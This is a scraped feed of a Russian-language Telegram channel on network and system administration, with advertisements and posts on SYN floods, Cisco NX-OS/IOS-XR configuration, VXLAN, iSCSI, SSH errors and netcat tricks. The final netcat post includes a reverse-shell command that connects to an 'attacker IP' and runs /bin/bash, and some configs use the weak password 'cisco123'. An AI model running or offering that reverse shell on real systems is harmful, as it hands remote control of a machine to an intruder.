Обучающий канал по сетевому и системному администрированию. Сотрудничество: @dad_admin Биржа: https://telega.in/c/networkadm РКН: https://bit.ly/4ioc61C
Аренда IT-Оборудования от АТОМДАТА под любые задачи и масштаб
От базовых решений - до создания критической информационной инфраструктуры:
- Быстрое предоставление оборудования с собственного склада или подбор и закупка под проект;
- Оперативный подбор конфигурации под задачу, бюджет или по другими параметрам;
- Техническая поддержка 24/7. 3 линии поддержки
- Помощь с настройкой ПО и запуском оборудования;
- SLA 99,98 с финансовой компенсацией;
- Размещение оборудования в собственных ЦОДах "Росатома", а также партнерских ЦОДах в РФ или на площадке заказчика;
Бесплатное тестирование оборудования под задачу!
Подробности и бесплатная консультация
#реклама
О рекламодателе
⚙️ Инструменты для админов и DevOps
Linux Command Library
— справочник по командам Linux. Быстрый доступ без лишнего поиска.
SAD Servers
— интерактивный тренажер для отладки Linux-систем.
Kubectl-neat
— плагин для Kubernetes, который убирает лишние данные из вывода команд.
Разбор FreeGRID
— как без лицензий NVIDIA запускают GPU в облаке.
Ещё больше полезного в канале CORTEL
➡️ Подписаться
Реклама ООО "Кортэл"
ИНН: 7816246925
❓ Хотите приручить SSH и стать экспертом удаленного администрирования?
На открытом уроке «Работа с SSH в Linux» вы освоите все ключевые техники, необходимые для работы с протоколом SSH.
Что вы узнаете:
— Как настроить SSH-сервер и клиент.
— Как использовать аутентификацию по ключам для максимальной безопасности.
— Как синхронизировать файлы с помощью rsync и повысить эффективность администрирования.
⭐ Спикер Николай Лавлинский — технический директор в Метод Лаб, PhD Economic Science, опытный руководитель разработки и преподаватель.
⏰ Встречаемся 20 февраля в 19:00 мск. Урок проводится в преддверии старта курса «Administrator Linux. Basic», а участники получат скидку на обучение.
👉 Настройте свои навыки на новый уровень — регистрируйтесь прямо сейчас: https://otus.pw/ON3E/?erid=2W5zFGkXL7z
Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.
Да что они вообще знают о настоящем счастье 👀
N.A. ℹ️ BashTex
TCP SYN Flood: классическая DDoS-атака на уровень соединений
Одним из самых распространенных методов DDoS-атак является TCP SYN Flood — атака, использующая особенности установления соединения в протоколе TCP.
Она нацелена на исчерпание ресурсов сервера или сетевого оборудования, вынуждая его обрабатывать огромное количество “поддельных” запросов на соединение.
Как работает TCP SYN Flood?
Атака эксплуатирует механизм трехстороннего рукопожатия (three-way handshake) в TCP:
1️⃣Клиент отправляет серверу SYN (запрос на установление соединения).
2️⃣ Сервер отвечает SYN-ACK, подтверждая готовность соединения.
3️⃣ Клиент должен отправить ACK, завершая установку соединения.
При TCP SYN Flood атакующий отправляет серверу огромное количество SYN-запросов, но не завершает установку соединений (не отправляет ACK).
В результате сервер тратит ресурсы на ожидание завершения соединений, что может привести к истощению доступных слотов в таблице соединений и отказу в обслуживании для легитимных пользователей.
Типы TCP SYN Flood атак
• Классический SYN Flood – атакующий использует поддельные IP-адреса, чтобы сервер не мог отличить легитимные соединения от вредоносных.
• SYN-ACK Flood – серверу отправляют множество SYN-ACK пакетов без предшествующих запросов, заставляя его генерировать RST-пакеты в ответ.
• Reflected SYN Flood – используется спуфинг IP-адресов для перенаправления атакующего трафика через сторонние узлы, увеличивая нагрузку на жертву.
Методы защиты
⏺TCP SYN Cookies – сервер при перегрузке использует криптографический идентификатор вместо хранения состояния соединения, предотвращая заполнение таблицы соединений.
⏺Rate Limiting – ограничение количества SYN-запросов от одного IP в секунду.
⏺Deep Packet Inspection (DPI) – анализ трафика для выявления аномального поведения.
⏺BGP Flowspec – динамическая фильтрация вредоносного трафика на уровне провайдера.
⏺DDoS Protection Services – облачные сервисы, такие как Cloudflare, Radware, Akamai, помогают смягчать атаки.
N.A. ℹ️ BashTex
Fibre Channel vs Ethernet: как меняется ландшафт корпоративных сетей хранения
Еще 15–20 лет назад Fibre Channel (FC) был безальтернативным выбором для корпоративных систем хранения данных.
Он обеспечивал высокую надежность, отказоустойчивость и предсказуемую производительность, что делало его стандартом для крупных предприятий.
Пока Fibre Channel остается востребованным в узких нишах, общее развитие инфраструктуры движется в сторону Ethernet.
Настройка Cisco NX-OS и IOS-XR
В этом посте продолжим разбирать основные команды конфигурации для Cisco NX-OS и Cisco IOS-XR. Настроим VLAN, OSPF.
Настройка VLAN на Cisco NX-OS
В NX-OS VLAN создаются и привязываются к интерфейсам вручную. Рассмотрим пример:
1. Создадим VLAN 10 и VLAN 20
2. Настроим порты как access
3. Настроим trunk-порт
NEXUS-SWITCH# configure terminal
NEXUS-SWITCH(config)# vlan 10
NEXUS-SWITCH(config-vlan)# name USERS
NEXUS-SWITCH(config-vlan)# vlan 20
NEXUS-SWITCH(config-vlan)# name SERVERS
NEXUS-SWITCH(config-vlan)# exit
NEXUS-SWITCH(config)# interface ethernet1/1
NEXUS-SWITCH(config-if)# switchport mode access
NEXUS-SWITCH(config-if)# switchport access vlan 10
NEXUS-SWITCH(config-if)# exit
NEXUS-SWITCH(config)# interface ethernet1/2
NEXUS-SWITCH(config-if)# switchport mode access
NEXUS-SWITCH(config-if)# switchport access vlan 20
NEXUS-SWITCH(config-if)# exit
NEXUS-SWITCH(config)# interface ethernet1/3
NEXUS-SWITCH(config-if)# switchport mode trunk
NEXUS-SWITCH(config-if)# switchport trunk allowed vlan 10,20
NEXUS-SWITCH(config-if)# exit
NEXUS-SWITCH# show vlan brief
NEXUS-SWITCH# configure terminal
NEXUS-SWITCH(config)# feature ospf
NEXUS-SWITCH(config)# router ospf 1
NEXUS-SWITCH(config-router)# router-id 1.1.1.1
NEXUS-SWITCH(config-router)# network 192.168.1.0/24 area 0
NEXUS-SWITCH(config-router)# network 192.168.2.0/24 area 0
NEXUS-SWITCH(config-router)# exit
NEXUS-SWITCH# show ip ospf neighbor
Cisco IOS-XR: Операционная система для провайдеров
Cisco IOS-XR — это операционная система, разработанная для маршрутизаторов уровня операторов связи.
Она предназначена для обработки большого объема трафика и обеспечивает высокую отказоустойчивость.
Архитектура и ключевые особенности
IOS-XR использует микроядро QNX Neutrino, что позволяет выполнять процессы независимо друг от друга. Среди других особенностей:
⏺Многопоточность и симметричная многопроцессорность (SMP) — эффективное использование ресурсов оборудования.
⏺Поддержка протоколов MPLS, Segment Routing и DWDM — важные технологии для магистральных сетей.
⏺Динамическое обновление без перезагрузки (ISSU) — обновления можно применять без простоя сети.
Базовая конфигурация
Пример настройки хоста и интерфейса Loopback:
RP/0/RP/CPU0:router# configure terminal
RP/0/RP/CPU0:router(config)# hostname IOS-XR-ROUTER
RP/0/RP/CPU0:router(config)# interface loopback0
RP/0/RP/CPU0:router(config-if)# ip address 10.2.2.2/32
RP/0/RP/CPU0:router(config-if)# commit
RP/0/RP/CPU0: IOS-XR-ROUTER(config-if)# end
RP/0/RP/CPU0: IOS-XR-ROUTER# show ip interface brief
Выбор между NX-OS и IOS-XR зависит от задач: если вам нужен мощный коммутатор для ЦОД — выбирайте NX-OS, если маршрутизатор для магистрали — IOS-XR.
Все надоело и пропал интерес, чувствуешь себя амебой и хочется только залипать в телефоне. Бывает?
Психолог взрослого человека - канал для айтишников, у которых периодически опускаются руки и отключается мозг, ибо переработки и постоянная тревожность не приводят к другим исходам.
✔️ Как научиться отвлекаться от работы и отдыхать?
✔️ Как совместить кучу рабочих задач и время с семьей?
✔️ Как справиться с прокрастинацией?
✔️ Как не растерять запал, даже если кажется, что ничего не выходит?
Подписывайтесь на канал @vadimpetrov_psy и научитесь работать без упахивания, выгорания и ущерба для личной жизни!
👨🏻💻 Псс. Заходите в закреп канала - там много полезного, и даже бесплатный мини-курс.
👩💻 Открытый урок «Инструменты и методы мониторинга серверов на платформе Windows Server»
🗓 10 февраля в 20:00 МСК
🆓 Бесплатно. Урок в рамках старта курса «Администратор Windows» от Otus.
На вебинаре вы узнаете:
✔️ Основные подходы к мониторингу серверов и выявлению проблем в инфраструктуре.
✔️ Как использовать встроенные инструменты Windows Server: Performance Monitor, Event Viewer и другие.
✔️ Обзор сторонних решений для мониторинга серверов и сети.
✔️ Практические рекомендации по настройке автоматического уведомления и отчетности.
🔗 Ссылка на регистрацию: https://otus.pw/5NMFh/
#реклама
О рекламодателе
Вышло большое обновление российской программы для мониторинга серверов и сетевого оборудования "10-Страйк Мониторинг Сети Pro" версия 8.0.
Теперь можно редактировать карту сети, используя Web-интерфейс. Это значит, что можно чаще обходиться без графической консоли, в том числе при работе под Linux. Добавлена новая реакция на события в виде запуска скрипта SSH. Также улучшена работа с движком Netflow: стало можно рисовать больше графиков и диаграмм по статистике трафика.
Основные функции программы:
- Опрашивает хосты в фоновом режиме
- Выполняет множество проверок по большинству сетевых протоколов
- Реагирует на события
- Отображает данные и статистику
- Поддерживает распределенный мониторинг и Web-интерфейс
Продукт включён в реестр Минцифры. Получен сертификат совместимости с РЕД ОС.
📌Узнать больше и посмотреть видео о программе:
https://vk.cc/cI9eX3
На сайте вы также найдете другие программы: для учета ПК и железа, для администрирования.
Реклама. ИП Степанов Д.Ю. ИНН 732806262853
Наткнулись на промо новой облачной конференции. Пошли подробнее узнавать, кто её организует — оказалось, это создатель первого в России публичного облака собственной разработки.
У ребят планируется много технических докладов: от обзоров новых типов сетевых дисков до приоритетов бизнеса в области ИТ — звучит интересно.
Подробнее можете посмотреть тут
Если хочется не сидеть на месте, а активнее изучать то, как строятся стабильные, и что важно, безопасные сети, этот курс — лучший старт. Он охватывает вообще всё, что нужно для понимания всех основ коммутирования и маршрутизации.
В курсе тебя ждут 100 тестов для закрепления теории, 20 лабораторных работ для практики и даже один проект, который позволит применить полученные знания прямо в реальных условиях. И да, все это основано на Cisco CCNA.
А если вдруг возникнут вопросы — не переживай! Круглосуточная поддержка всегда рядом.
Ссылка на курс тут: https://stepik.org/a/227855
Группа с поддержкой, если возникнут трудности: /channel/Networks_anyone
ECMP (Equal-Cost Multi-Path): как интернет выбирает лучший путь
В обычной маршрутизации пакеты данных идут по одному заранее выбранному маршруту.
Но что, если у маршрутизатора есть несколько равнозначных путей до пункта назначения?
Selectel School — твой путь в IT 😎
Приглашаем тебя на Selectel School — бесплатный обучающий онлайн‑интенсив для тех, кто хочет работать в дата‑центре.
В курсе ты узнаешь об устройстве наших ЦОДов, освоишь сборку и обслуживание серверов, а также изучишь принципы настройки сетевого оборудования. Все это поможет тебе прокачать навыки инженера дата‑центра и стать сотрудником Selectel!
Активируй бота и проходи курс Selectel School: https://slc.tl/kwzhh
Реклама, АО «Селектел», ИНН: 7810962785, ERID: 2VtzqwCM58G
Протокол AppleTalk — устаревшая система, оставившая след в истории
AppleTalk был собственным набором протоколов для связи устройств Apple в локальных сетях.
Разработанный в 1980-х годах, AppleTalk был стандартом для сетевых технологий в экосистеме Apple, но со временем был заменён более универсальными протоколами, такими как TCP/IP.
Тем не менее, его вклад в развитие сетевых технологий нельзя недооценивать.
С переходом Apple к стандартам TCP/IP в конце 1990-х годов и начале 2000-х, AppleTalk постепенно стал уходить в прошлое.
VXLAN vs SRv6 на практике – настройка и тестирование
Теперь, когда мы разобрали теорию, давайте посмотрим, как VXLAN и SRv6 работают на практике.
Настройка VXLAN на Cisco
В качестве примера возьмем классическую схему с двумя узлами, где VXLAN создаст виртуальную L2-сеть поверх L3-инфраструктуры.
⏺Шаг 1: Настраиваем VTEP (VXLAN Tunnel End Point)
interface Loopback0
ip address 10.1.1.1 255.255.255.255
interface nve1
source-interface Loopback0
no shutdown
interface Vlan10
vxlan vni 10010
router bgp 65000
address-family l2vpn evpn
router isis CORE
address-family ipv6 segment-routing srv6
interface Loopback0
ipv6 address 2001:db8::1/128
interface GigabitEthernet0/0/0
ipv6 segment-routing srv6
router isis CORE
segment-routing srv6 locator LOC1
Сравнение протоколов VXLAN и SRv6: выбор для современной сети
В современных сетях ключевыми задачами являются масштабируемость, гибкость и автоматизация, особенно в дата-центрах и магистральных сетях.
Два передовых протокола, которые решают эти задачи — VXLAN (Virtual Extensible LAN) и SRv6 (Segment Routing over IPv6). Давайте разберем их принципы работы и сравним, где они наиболее эффективны.
Пакеты пересылаются между узлами через туннели, а маршрутизация обеспечивается за счет VXLAN Tunnel Endpoints (VTEP).
В отличие от традиционной MPLS-маршрутизации, SRv6 использует специальные заголовки IPv6 (SRH, Segment Routing Header) вместо меток MPLS.
Что такое SIP (Session Initiation Protocol)?
SIP (Session Initiation Protocol) — это протокол, используемый для установления, изменения и завершения сеансов связи, таких как голосовые и видеозвонки через интернет (VoIP).
Он имеет более сложную структуру, чем стандартные протоколы, такие как HTTP или FTP, и играет ключевую роль в современных системах связи.
Кроме этого, SIP поддерживает функции, такие как пересылка сообщений, проверка доступности участников, а также маршрутизация сообщений между серверами и устройствами.
INVITE sip:bob@biloxi.com SIP/2.0
Via: SIP/2.0/UDP atlanta.com;branch=z9hG4bK74bf9
Max-Forwards: 70
To: Bob <sip:bob@biloxi.com>
From: Alice <sip:alice@atlanta.com>;tag=1928301774
Call-ID: a84b4c76e66710@atlanta.com
CSeq: 314159 INVITE
Contact: <sip:alice@atlanta.com>
Content-Type: application/sdp
Content-Length: 142
Настройка Cisco Embedded Packet Capture (EPC)
Cisco Embedded Packet Capture (EPC) позволяет захватывать сетевой трафик непосредственно на маршрутизаторе, что упрощает диагностику и анализ сетевых проблем.
Рассмотрим процесс настройки EPC на примере схемы, где необходимо перехватить входящие и исходящие пакеты на интерфейсе FastEthernet 0/0 между ПК 192.168.1.5
и веб-сервером 212.193.249.136
.
1️⃣Создание буфера для хранения пакетов
Сначала создадим буфер, в котором будут сохраняться захваченные пакеты. По умолчанию его размер — 1 МБ.
Router#monitor capture buffer merionet_cap size 1024 linear
Router(config)#ip access-list extended web-traffic
Router(config-ext-nacl)#permit ip host 192.168.1.5 host 212.193.249.136
Router(config-ext-nacl)#permit ip host 212.193.249.136 host 192.168.1.5
Router#monitor capture buffer merionet_cap filter access-list web-traffic
Router#monitor capture point ip cef MNpoint FastEthernet0/0 both
Router(config)#ip cef
Router#monitor capture point associate MNpoint merionet_cap
Router#monitor capture point start MNpoint
Router#monitor capture point stop MNpoint
Router#show monitor capture buffer
Router#show monitor capture buffer merionet_cap dump
Router#show monitor capture point
Router#monitor capture buffer merionet_cap export tftp://192.168.1.10/capture.pcap
192.168.1.10
и его можно будет открыть в Wireshark.Настройка SSH-доступа к NX-OS
Чтобы можно было подключаться к коммутатору через SSH, нужно включить SSH-сервер и создать пользователя.
NEXUS-SWITCH# configure terminal
NEXUS-SWITCH(config)# feature ssh
NEXUS-SWITCH(config)# username admin password cisco123 role network-admin
NEXUS-SWITCH(config)# exit
RP/0/RP/CPU0:IOS-XR-ROUTER# configure terminal
RP/0/RP/CPU0:IOS-XR-ROUTER(config)# router ospf 1
RP/0/RP/CPU0:IOS-XR-ROUTER(config-ospf)# router-id 2.2.2.2
RP/0/RP/CPU0:IOS-XR-ROUTER(config-ospf)# area 0
RP/0/RP/CPU0:IOS-XR-ROUTER(config-ospf)# network 10.1.1.0 0.0.0.255 area 0
RP/0/RP/CPU0:IOS-XR-ROUTER(config-ospf)# commit
RP/0/RP/CPU0:IOS-XR-ROUTER(config-ospf)# exit
RP/0/RP/CPU0:IOS-XR-ROUTER# show ospf neighbor
RP/0/RP/CPU0:IOS-XR-ROUTER# configure terminal
RP/0/RP/CPU0:IOS-XR-ROUTER(config)# username admin
RP/0/RP/CPU0:IOS-XR-ROUTER(config-un)# secret cisco123
RP/0/RP/CPU0:IOS-XR-ROUTER(config-un)# commit
RP/0/RP/CPU0:IOS-XR-ROUTER(config-un)# exit
Крутая программа для тех, кто уже работает с Linux и хочет погрузиться DevOps.
В двух словах: программа на 2 месяца, ты учишься, тебе еще и платят. Начинка: начинающий и продвинутый курс по Linux, погружение в DevOps. Обучение с практикой, лабораторными и под контролем экспертов из K2 Сloud.
Подробнее можно узнать на сайте
Cisco NX-OS: операционная система для дата-центров
Cisco NX-OS — это операционная система, разработанная для коммутаторов Cisco Nexus, которые широко используются в центрах обработки данных (ЦОД).
Она предлагает надежность, масштабируемость и удобные функции управления сетью, отличаясь от традиционной Cisco IOS.
switch# configure terminal
switch(config)# hostname NEXUS-SWITCH
NEXUS-SWITCH(config)# interface loopback0
NEXUS-SWITCH(config-if)# ip address 10.1.1.1/32
NEXUS-SWITCH(config-if)# end
NEXUS-SWITCH# show ip interface brief
255.255.255.255
.Настройка SAN на основе iSCSI
Для демонстрации настроим SAN-сеть с использованием iSCSI — популярного и доступного варианта, использующего обычную Ethernet-сеть для передачи блоков данных.
1. Установка iSCSI-таргета (хранилища) на сервере
На сервере с ОС Linux установим программное обеспечение для работы iSCSI-таргета:
sudo apt install tgt
sudo nano /etc/tgt/conf.d/iscsi.conf
<target iqn.2024-02.example:storage>
backing-store /dev/sdb
initiator-address 192.168.1.100
</target>
sudo systemctl restart tgt
sudo tgtadm --mode target --op show
sudo apt install open-iscsi
sudo iscsiadm -m discovery -t sendtargets -p 192.168.1.10
sudo iscsiadm -m node -T iqn.2024-02.example:storage -p 192.168.1.10 --login
Что такое SAN и зачем он нужен?
Storage Area Network (SAN) — это высокоскоростная специализированная сеть, предназначенная для объединения серверов и устройств хранения данных.
Основное отличие SAN от NAS в том, что SAN использует блочный доступ, а NAS — файловый.
Основные причины ошибки «SSH Connection Refused»
Продолжим разбор
5️⃣ Брандмауэр препятствует подключению
Брандмауэр может блокировать входящие соединения по порту SSH, что приводит к ошибке «Connection Refused». Чтобы проверить, разрешает ли брандмауэр подключение по SSH, используйте команду:
sudo ufw allow ssh
sudo lsof -i:22
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
ssh -v [server_ip]
ssh -vv [server_ip]
ssh -vvv [server_ip]
IL vs. QUIC: два интересных, но не самых известных протокола
Когда речь заходит о сетевых протоколах, все сразу вспоминают TCP и UDP. Но в мире сетевых технологий есть множество менее известных, но всё же любопытных решений.
Давайте разберём два таких протокола: IL и QUIC. Они создавались для разных задач, но оба по-своему интересны.
Это делало его удобным для небольших кластеров и систем с предсказуемой сетью, но не очень подходило для масштабных сетей с переменной загрузкой.
Кроме того, QUIC более устойчив к потере пакетов, потому что один медленный поток не тормозит другие.
ECN (Explicit Congestion Notification) — управляем перегрузкой сети
Когда сеть перегружена, маршрутизаторы обычно сбрасывают пакеты. Это заставляет протокол TCP снижать скорость передачи, но ведёт к потерям данных и необходимости их повторной отправки.
Такой механизм работает, но он неэффективен: задержки увеличиваются, а сеть используется нерационально.
ECN используется в современных дата-центрах, облачных сервисах и в приложениях, чувствительных к задержкам, таких как VoIP и онлайн-игры.
Продвинутые возможности NetCat
Часть 2
4️⃣ Передача каталогов через tar
NetCat позволяет передавать целые каталоги, используя tar.
Пример: Передача папки my_folder:
На принимающей стороне:
$ nc -l 12345 | tar -xvf -
$ tar -cvf - my_folder | nc <IP-адрес> 12345
$ nc -l 8080 | nc 127.0.0.1 9090
$ while true; do nc -l 12345; done
$ echo "Test multicast" | nc -u 224.0.0.1 5000Читать полностью…
Продвинутые возможности NetCat — Часть 1
1️⃣Перехват и анализ данных
NetCat можно использовать как простой сниффер для анализа данных, проходящих через сеть.
Пример: Прокси для перехвата HTTP-запросов:
$ nc -l 8080
$ curl -x http://<IP-адрес>:8080 http://example.com
$ nc -l -p 4444
$ nc <IP-адрес атакующего> 4444 -e /bin/bash
$ nc -l 12345 | gzip -d > file.txt
$ gzip -c file.txt | nc <IP-адрес> 12345Читать полностью…